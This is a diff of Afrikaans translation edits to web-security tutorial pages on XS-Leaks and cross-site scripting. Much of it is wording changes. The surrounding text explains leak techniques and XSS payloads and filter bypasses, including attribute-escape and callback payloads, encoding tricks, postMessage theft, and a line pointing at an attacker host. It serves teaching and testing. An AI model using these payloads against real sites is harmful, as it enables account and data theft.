Pop-ups, wat dikwels in enkel aanmelding gebruik word, omseil raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies. -- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herleidings te volg. +- **Rame**: Elemente soos **iframe**, **object**, en **embed** kan HTML-hulpbronne direk in die aanvaller se bladsy insluit. As die bladsy **gebroke beskerming** ontbreek, kan JavaScript toegang verkry tot die ingeslote hulpbron se vensterobjek via die contentWindow eienskap. +- **Pop-ups**: Die **`window.open`** metode open 'n hulpbron in 'n nuwe oortjie of venster, wat 'n **vensterhandvatsel** bied vir JavaScript om met metodes en eienskappe te kommunikeer volgens die SOP. Pop-ups, wat dikwels in enkel aanmeld gebruik word, omseil die raam- en koekiebeperkings van 'n teikenhulpbron. Moderne blaaiers beperk egter die skepping van pop-ups tot sekere gebruikersaksies. +- **JavaScript Versoeke**: JavaScript laat direkte versoeke aan teikenhulpbronne toe met behulp van **XMLHttpRequests** of die **Fetch API**. Hierdie metodes bied presiese beheer oor die versoek, soos om te kies om HTTP-herluidings te volg. ### Lek Tegnieke - **Gebeurtenis Handler**: 'n Klassieke lek tegniek in XS-Leaks, waar gebeurtenis handlers soos **onload** en **onerror** insigte bied oor hulpbronlaai sukses of mislukking. -- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur die teenwoordigheid en afwesigheid daarvan te onderskei. -- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheue kapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien. +- **Foutboodskappe**: JavaScript uitsonderings of spesiale foutbladsye kan lek inligting bied, hetsy direk uit die foutboodskap of deur te onderskei tussen die teenwoordigheid en afwesigheid daarvan. +- **Globale Beperkings**: Fisiese beperkings van 'n blaier, soos geheuekapasiteit of ander afgedwonge blaierbeperkings, kan aandui wanneer 'n drempel bereik is, wat as 'n lek tegniek dien. - **Globale Toestand**: Waarneembare interaksies met die blaier se **globale toestande** (bv. die Geskiedenis-koppelvlak) kan uitgebuit word. Byvoorbeeld, die **aantal inskrywings** in 'n blaier se geskiedenis kan leidrade bied oor kruis-oorsprong bladsye. - **Prestasie API**: Hierdie API bied **prestasie besonderhede van die huidige bladsy**, insluitend netwerk tydsberekening vir die dokument en gelaaide hulpbronne, wat afleidings oor aangevraagde hulpbronne moontlik maak. - **Leesbare Eienskappe**: Sommige HTML-eienskappe is **leesbaar kruis-oorsprong** en kan as 'n lek tegniek gebruik word. Byvoorbeeld, die `window.frame.length` eienskap laat JavaScript toe om die rame wat in 'n webblad kruis-oorsprong ingesluit is, te tel. @@ -49,14 +49,14 @@ XSinator is 'n outomatiese hulpmiddel om **blaaiers teen verskeie bekende XS-Lea Jy kan **die hulpmiddel in** [**https://xsinator.com/**](https://xsinator.com/) > [!WARNING] -> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op verkeerde konfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) verkeerde konfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid. +> **Uitsluit XS-Leaks**: Ons moes XS-Leaks uitsluit wat staatmaak op **dienswerkers** aangesien dit ander lekke in XSinator sou inmeng. Verder het ons besluit om **XS-Leaks wat staatmaak op miskonfigurasie en foute in 'n spesifieke webtoepassing** uit te sluit. Byvoorbeeld, CrossOrigin Resource Sharing (CORS) miskonfigurasies, postMessage lekkasies of Cross-Site Scripting. Daarbenewens het ons tydgebaseerde XS-Leaks uitgesluit aangesien hulle dikwels ly aan stadigheid, geraas en onakkuraatheid. ## **Tydgebaseerde tegnieke** -Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te detecteer. Daar is verskillende maniere om tyd in 'n webblaier te meet. +Sommige van die volgende tegnieke gaan tyd gebruik as deel van die proses om verskille in die moontlike toestande van die webbladsye te ontdek. Daar is verskillende maniere om tyd in 'n webblaaier te meet. -**Horlosies**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoĂ«-resolusie tydsmetings te verkry.\ -Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete horlosies te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\ +**Klokke**: Die [performance.now()](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now) API laat ontwikkelaars toe om hoĂ«-resolusie tydsmetings te verkry.\ +Daar is 'n aansienlike aantal API's wat aanvallers kan misbruik om implisiete klokke te skep: [Broadcast Channel API](https://developer.mozilla.org/en-US/docs/Web/API/Broadcast_Channel_API), [Message Channel API](https://developer.mozilla.org/en-US/docs/Web/API/MessageChannel), [requestAnimationFrame](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame), [setTimeout](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout), CSS animasies, en ander.\ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/). ## Gebeurtenis Handler Tegnieke @@ -73,7 +73,7 @@ Vir meer inligting: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks](htt cookie-bomb-+-onerror-xs-leak.md {{#endref}} -Die kode voorbeeld probeer om **skrip objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas van om dit van JS in te voeg). +Die kode voorbeeld probeer om **scripts objek van JS** te **laai**, maar **ander tags** soos objek, stylesheets, beelde, klank kan ook gebruik word. Boonop is dit ook moontlik om die **tag direk** in te voeg en die `onload` en `onerror` gebeurtenisse binne die tag te verklaar (in plaas daarvan om dit van JS in te voeg). Daar is ook 'n skrip-vrye weergawe van hierdie aanval: ```html @@ -88,8 +88,8 @@ In hierdie geval, as `example.com/404` nie gevind word nie, sal `attacker.com/?e - **Insluitingsmetodes**: HTML Elemente - **Waarneembare Verskil**: Tyd (generaal weens Bladsy Inhoud, Statuskode) - **Meer inligting**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) -- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Ander horlosies kan egter gebruik word, soos [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur. -- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n Ander voorbeeld in: +- **Opsomming:** Die [**performance.now()**](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) **API** kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Ander horlosies kan egter gebruik word, soos die [**PerformanceLongTaskTiming API**](https://developer.mozilla.org/en-US/docs/Web/API/PerformanceLongTaskTiming) wat take kan identifiseer wat langer as 50ms duur. +- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events) 'n ander voorbeeld in: {{#ref}} performance.now-example.md @@ -97,7 +97,7 @@ performance.now-example.md #### Onload Timing + Gedwonge Zware Taak -Hierdie tegniek is net soos die vorige een, maar die **aanvaller** sal ook **dwing** dat 'n aksie 'n **relevante hoeveelheid tyd** neem wanneer die **antwoord positief of negatief** is en daardie tyd meet. +Hierdie tegniek is net soos die vorige een, maar die **aanvaller** sal ook **dwing** dat 'n aksie 'n **relevante hoeveelheid tyd** neem wanneer die **antwoord positief of negatief is** en daardie tyd meet. {{#ref}} performance.now-+-force-heavy-task.md @@ -121,7 +121,7 @@ Die tyd wat geneem word om 'n hulpbron te verkry, kan gemeet word deur die [`unl - **Opsomming:** Die [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API kan gebruik word om te meet hoeveel tyd dit neem om 'n versoek te doen. Ander horlosies kan gebruik word. - **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks) -Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsleaks.dev/docs/defenses/opt-in/xfo/), die tyd wat benodig word vir 'n bladsy en sy subhulpbronne om oor die netwerk te laai, deur 'n aanvaller gemeet kan word. Hierdie meting is tipies moontlik omdat die `onload` handler van 'n iframe slegs geaktiveer word na die voltooiing van hulpbronlaai en JavaScript-uitvoering. Om die variabiliteit wat deur skripuitvoering ingebring word, te omseil, kan 'n aanvaller die [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) attribuut binne die ` @@ -131,19 +131,19 @@ Daar is waargeneem dat in die afwesigheid van [Framing Protections](https://xsle - **Insluitingsmetodes**: Frames - **Waarneembare Verskil**: Bladsy Inhoud - **Meer inligting**: -- **Opsomming**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet. +- **Samevatting**: As jy die bladsy kan laat fout wanneer die korrekte inhoud toeganklik is en dit korrek kan laai wanneer enige inhoud toeganklik is, dan kan jy 'n lus maak om al die inligting te onttrek sonder om die tyd te meet. - **Kode Voorbeeld**: Neem aan dat jy die **bladsy** wat die **geheime** inhoud het, **binne 'n Iframe** kan **invoeg**. -Jy kan die **slagoffer laat soek** vir die lĂȘer wat "_**vlag**_" bevat deur 'n **Iframe** te gebruik (byvoorbeeld deur 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** uitgevoer sal word. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander. +Jy kan die **slagoffer laat soek** na die lĂȘer wat "_**vlag**_" bevat met behulp van 'n **Iframe** (byvoorbeeld deur 'n CSRF te benut). Binne die Iframe weet jy dat die _**onload gebeurtenis**_ altyd **ten minste een keer** sal **uitgevoer word**. Dan kan jy die **URL** van die **iframe** verander, maar net die **inhoud** van die **hash** binne die URL verander. Byvoorbeeld: 1. **URL1**: www.attacker.com/xssearch#try1 2. **URL2**: www.attacker.com/xssearch#try2 -As die eerste URL **suksesvol gelaai** is, dan, wanneer die **hash** deel van die URL **verander** word, sal die **onload** gebeurtenis **nie weer geaktiveer** word nie. Maar **as** die bladsy 'n soort **fout** gehad het tydens **laai**, dan sal die **onload** gebeurtenis **weer geaktiveer** word. +As die eerste URL **suksesvol gelaai** is, dan, wanneer die **hash** deel van die URL verander word, sal die **onload** gebeurtenis **nie weer geaktiveer** word nie. Maar **as** die bladsy 'n soort **fout** gehad het tydens **laai**, dan sal die **onload** gebeurtenis **weer geaktiveer** word. Dan kan jy **onderskei tussen** 'n **korrek** gelaaide bladsy of 'n bladsy wat 'n **fout** het wanneer dit toeganklik is. @@ -152,7 +152,7 @@ Dan kan jy **onderskei tussen** 'n **korrek** gelaaide bladsy of 'n bladsy wat ' - **Insluitingsmetodes**: Frames - **Waarneembare Verskil**: Bladsy Inhoud - **Meer inligting**: -- **Opsomming:** As die **bladsy** die **sensitiewe** inhoud **teruggee**, **of** 'n **inhoud** wat deur die gebruiker **beheer** kan word. Die gebruiker kan **geldige JS kode in die negatiewe geval** stel, en **laai** elke poging binne **``** etikette van 'n HTML-bladsy, binne 'n `.js`-lĂȘer of binne 'n attribuut wat die **`javascript:`** protokol gebruik: +In hierdie geval word jou invoer weerspieĂ«l tussen **``** etikette van 'n HTML-bladsy, binne 'n `.js`-lĂȘer of binne 'n attribuut met die **`javascript:`** protokol: - As dit weerspieĂ«l word tussen **``** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `` etiket binne die HTML-kode is nie. - As dit weerspieĂ«l word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie): @@ -98,7 +98,7 @@ Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer ![](<../../images/image (711).png>) -As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstreepte te laat toe (**`[\w\._]`**). +As dit kwesbaar is, kan jy dalk **'n waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte **die inhoud sal valideer** om slegs letters, syfers, punte en onderstrepings toe te laat (**`[\w\._]`**). Tog, selfs met daardie beperking is dit steeds moontlik om 'n paar aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om **enige element in die DOM te benader**: @@ -132,7 +132,7 @@ dom-xss.md ### **Universele XSS** -Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliĂ«nt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrĂȘre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrĂȘre** **lĂȘers** in kliĂ«nte en bedieners te **lees**, en meer.\ +Hierdie soort XSS kan **oorals** gevind word. Hulle hang nie net af van die kliĂ«nt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrĂȘre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrĂȘre** **lĂȘers** in kliĂ«nte en bedieners te lees, en meer.\ Sommige **voorbeelde**: {{#ref}} @@ -147,11 +147,11 @@ server-side-xss-dynamic-pdf.md ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Invoeging binne ruwe HTML +## Invoeging binne rou HTML -Wanneer jou invoer **binne die HTML bladsy** weerspieĂ«l word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieĂ«l** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieĂ«l word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\ +Wanneer jou invoer **binne die HTML bladsy** weerspieĂ«l word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieĂ«l** en kyk of dit **HTML gekodeer** of **verwyder** is of as dit **weerspieĂ«l word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\ Vir hierdie gevalle hou ook **in gedagte** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Let wel: 'n HTML kommentaar kan gesluit word met\*\*\*\*\*\***\***\*`-->`\*\***\***\*of \*\*\*\*\*\***`--!>`\*\**_ +_**Let wel: 'n HTML kommentaar kan gesluit word met\*\***\***\*`-->`\*\***\***\*of \*\***`--!>`\*\*_ In hierdie geval en as daar geen swart/whitelisting gebruik word nie, kan jy payloads soos gebruik: ```html @@ -170,7 +170,7 @@ Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet ### Aangepaste tags -As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**: +As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om **'n aangepaste tag te skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**: ``` /?search=#x ``` @@ -235,7 +235,7 @@ onerror=alert`1` ``` Die laaste een gebruik 2 unicode karakters wat uitbrei na 5: telsr\ Meer van hierdie karakters kan gevind word [hier](https://www.unicode.org/charts/normalization/).\ -Om te kyk in watter karakters ontbind is, kyk [hier](https://www.compart.com/en/unicode/U+2121). +Om te kyk in watter karakters ontbind word, kyk [hier](https://www.compart.com/en/unicode/U+2121). ### Klik XSS - Clickjacking @@ -243,13 +243,13 @@ As jy om die kwesbaarheid te benut, die **gebruiker moet 'n skakel of 'n vorm** ### Onmoontlik - Hangende Markup -As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy kyk na [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer. +As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer. ## Invoeging binne HTML-tag ### Binne die tag/ontsnapping van attribuutwaarde -As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem is, te gebruik om JS-kode uit te voer.\ +As jy **binne 'n HTML-tag** is, is die eerste ding wat jy kan probeer om te **ontsnap** van die tag en sommige van die tegnieke wat in die [vorige afdeling](#injecting-inside-raw-html) genoem word, te gebruik om JS-kode uit te voer.\ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag skep om te probeer om JS-kode uit te voer, byvoorbeeld deur 'n payload soos (_let op dat in hierdie voorbeeld dubbele aanhalings gebruik word om van die attribuut te ontsnap, jy sal dit nie nodig hĂȘ as jou invoer direk binne die tag weerspieĂ«l word_): ```bash " autofocus onfocus=alert(document.domain) x=" @@ -272,7 +272,7 @@ Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascri **Omseil binne gebeurtenis met HTML-kodering/URL-kodering** -Die **HTML-gecodeerde karakters** binne die waarde van HTML-tags se attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vet): `Gaan Terug ` +Die **HTML gekodeerde karakters** binne die waarde van HTML-tags attribuut word **op tyd van uitvoering gedecodeer**. Daarom sal iets soos die volgende geldig wees (die payload is in vetgedruk): `Gaan Terug ` Let daarop dat **enige soort HTML-kodering geldig is**: ```javascript @@ -351,17 +351,17 @@ _**In hierdie geval is die HTML-kodering en die Unicode-kodering truuk van die v ```javascript ``` -Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal **geĂŻntrepreteer** word as 'n **enkele aanhaling** tydens die **uitvoering**. +Boonop, daar is nog 'n **lekker truuk** vir hierdie gevalle: **Selfs al word jou invoer binne `javascript:...` URL-gekodeer, sal dit URL-dekodeer word voordat dit uitgevoer word.** So, as jy moet **ontsnap** van die **string** met 'n **enkele aanhaling** en jy sien dat **dit URL-gekodeer word**, onthou dat **dit nie saak maak nie,** dit sal as 'n **enkele aanhaling** geĂŻnterpreteer word tydens die **uitvoering**. ```javascript '-alert(1)-' %27-alert(1)-%27 ``` -Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodeer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**. +Let wel dat as jy probeer om **albei** `URLencode + HTMLencode` in enige volgorde te gebruik om die **payload** te kodifiseer, dit **sal nie** **werk** nie, maar jy kan **hulle meng binne die payload**. -**Gebruik Hex en Octal kodeer met `javascript:`** +**Gebruik Hex en Octal kodering met `javascript:`** -Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**: +Jy kan **Hex** en **Octal kodering** binne die `src` attribuut van `iframe` (ten minste) gebruik om **HTML-tags te verklaar om JS uit te voer**: ```javascript //Encoded: // This WORKS @@ -373,7 +373,7 @@ Jy kan **Hex** en **Octal kodeer** binne die `src` attribuut van `iframe` (ten m ``` -### Omgekeerde tab nabbing +### Reverse tab nabbing ```javascript //No safari @@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
Newsletter popup
``` -Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegang sleutel attribuut te gebruik. Hier is die vektor: +Van [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Jy kan 'n **XSS payload binne 'n verborge attribuut** uitvoer, mits jy die **slagoffer** kan **oortuig** om die **sleutelkombinasie** te druk. Op Firefox Windows/Linux is die sleutelkombinasie **ALT+SHIFT+X** en op OS X is dit **CTRL+ALT+X**. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die toegangsleutelattribuut te gebruik. Hier is die vektor: ```html ``` @@ -448,7 +448,7 @@ Lees die J[avaScript omseiling swartlys van die volgende afdeling](#javascript-b ### CSS-Gadgets -As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset te wysig** om die waarskynlikheid te maksimeer dat die skakel geaktiveer word. +As jy 'n **XSS in 'n baie klein deel** van die web gevind het wat 'n soort interaksie vereis (miskien 'n klein skakel in die voettekst met 'n onmouseover element), kan jy probeer om die **spasie wat daardie element beset** te wysig om die waarskynlikheid te maksimeer dat die skakel geaktiveer word. Byvoorbeeld, jy kan 'n bietjie styl by die element voeg soos: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5` @@ -468,7 +468,7 @@ Hierdie truuk is geneem van [https://medium.com/@skavans\_/improving-the-impact- ## Inspuiting binne JavaScript kode -In hierdie geval gaan jou **invoer** **binne die JS kode** van 'n `.js` lĂȘer of tussen `` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar. +In hierdie geval gaan jou **invoer** **reflekteer binne die JS kode** van 'n `.js` lĂȘer of tussen `` etikette of tussen HTML gebeurtenisse wat JS kode kan uitvoer of tussen eienskappe wat die `javascript:` protokol aanvaar. ### Ontsnapping van \` ```javascript ``` -Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingstekens gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geĂŻdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer. +Let wel dat ons in hierdie voorbeeld **selfs nie die enkele aanhalingsteken gesluit het nie**. Dit is omdat **HTML-parsing eers deur die blaaier uitgevoer word**, wat behels dat bladsy-elemente geĂŻdentifiseer word, insluitend blokke van skrip. Die parsing van JavaScript om die ingebedde skrips te verstaan en uit te voer, word slegs daarna uitgevoer. ### Binne JS-kode @@ -746,7 +746,7 @@ Daar is **JS kode** wat **onveilige data wat deur 'n aanvaller beheer word** soo dom-xss.md {{#endref}} -Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe hulle veroorsaak word, en hoe om hulle te benut**.\ +Daar sal jy 'n gedetailleerde **verduideliking vind van wat DOM kwesbaarhede is, hoe dit veroorsaak word, en hoe om dit te benut**.\ Moet ook nie vergeet nie dat **aan die einde van die genoemde pos** jy 'n verduideliking kan vind oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering). ### Opgradering van Self-XSS @@ -792,7 +792,7 @@ Die paar "Key","Value" sal soos volg teruggegee word: ``` {" onfocus=javascript:alert('xss') autofocus a"=>"a"} ``` -Dan sal die onfocus-attribuut ingevoeg word en XSS plaasvind. +Dan sal die onfocus-attribuut ingevoeg word en XSS vind plaas. ### Spesiale kombinasies ```html @@ -826,12 +826,12 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS met header-inspuiting in 'n 302 respons -As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te laat uitvoer arbitrĂȘre JavaScript**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos. +As jy vind dat jy **headers in 'n 302 Redirect respons kan inspuit**, kan jy probeer om die **blaaier te dwing om arbitrĂȘre JavaScript uit te voer**. Dit is **nie triviaal nie** aangesien moderne blaaiers nie die HTTP-responsliggaam interpreteer as die HTTP-responsstatuskode 'n 302 is nie, so net 'n cross-site scripting payload is nutteloos. In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Location-header kan toets en kyk of enige van hulle die blaaier toelaat om die XSS-payload binne die liggaam te inspekteer en uit te voer.\ Verlede bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leĂ« Location-header_, `resource://`. -### Slegs Letters, Nommers en Punte +### Slegs Letters, Syfers en Punte As jy in staat is om die **callback** aan te dui wat JavaScript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](#javascript-function) om te vind hoe om hierdie gedrag te misbruik. @@ -872,7 +872,7 @@ const char* const kSupportedJavascriptTypes[] = { Die antwoord is: - **module** (verstek, niks om te verduidelik nie) -- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy 'n klomp data (HTML, CSS, JS
) saam in 'n **`.wbn`** lĂȘer kan verpakk. +- [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk wat jy kan gebruik om 'n klomp data (HTML, CSS, JS
) saam te pak in 'n **`.wbn`** lĂȘer. ```html ``` -Hierdie gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger. +Dit gedrag is gebruik in [**hierdie skrywe**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herverdeel na eval om dit te misbruik, dit kan XSS onttrigger. -- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur vooraf-rendering veroorsaak word, op te los. Dit werk soos volg: +- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om 'n paar probleme wat deur voorvertoning veroorsaak word, op te los. Dit werk soos volg: ```html ``` -### Steel PostMessage boodskappe +### Steel PostMessage-boodskappe ```html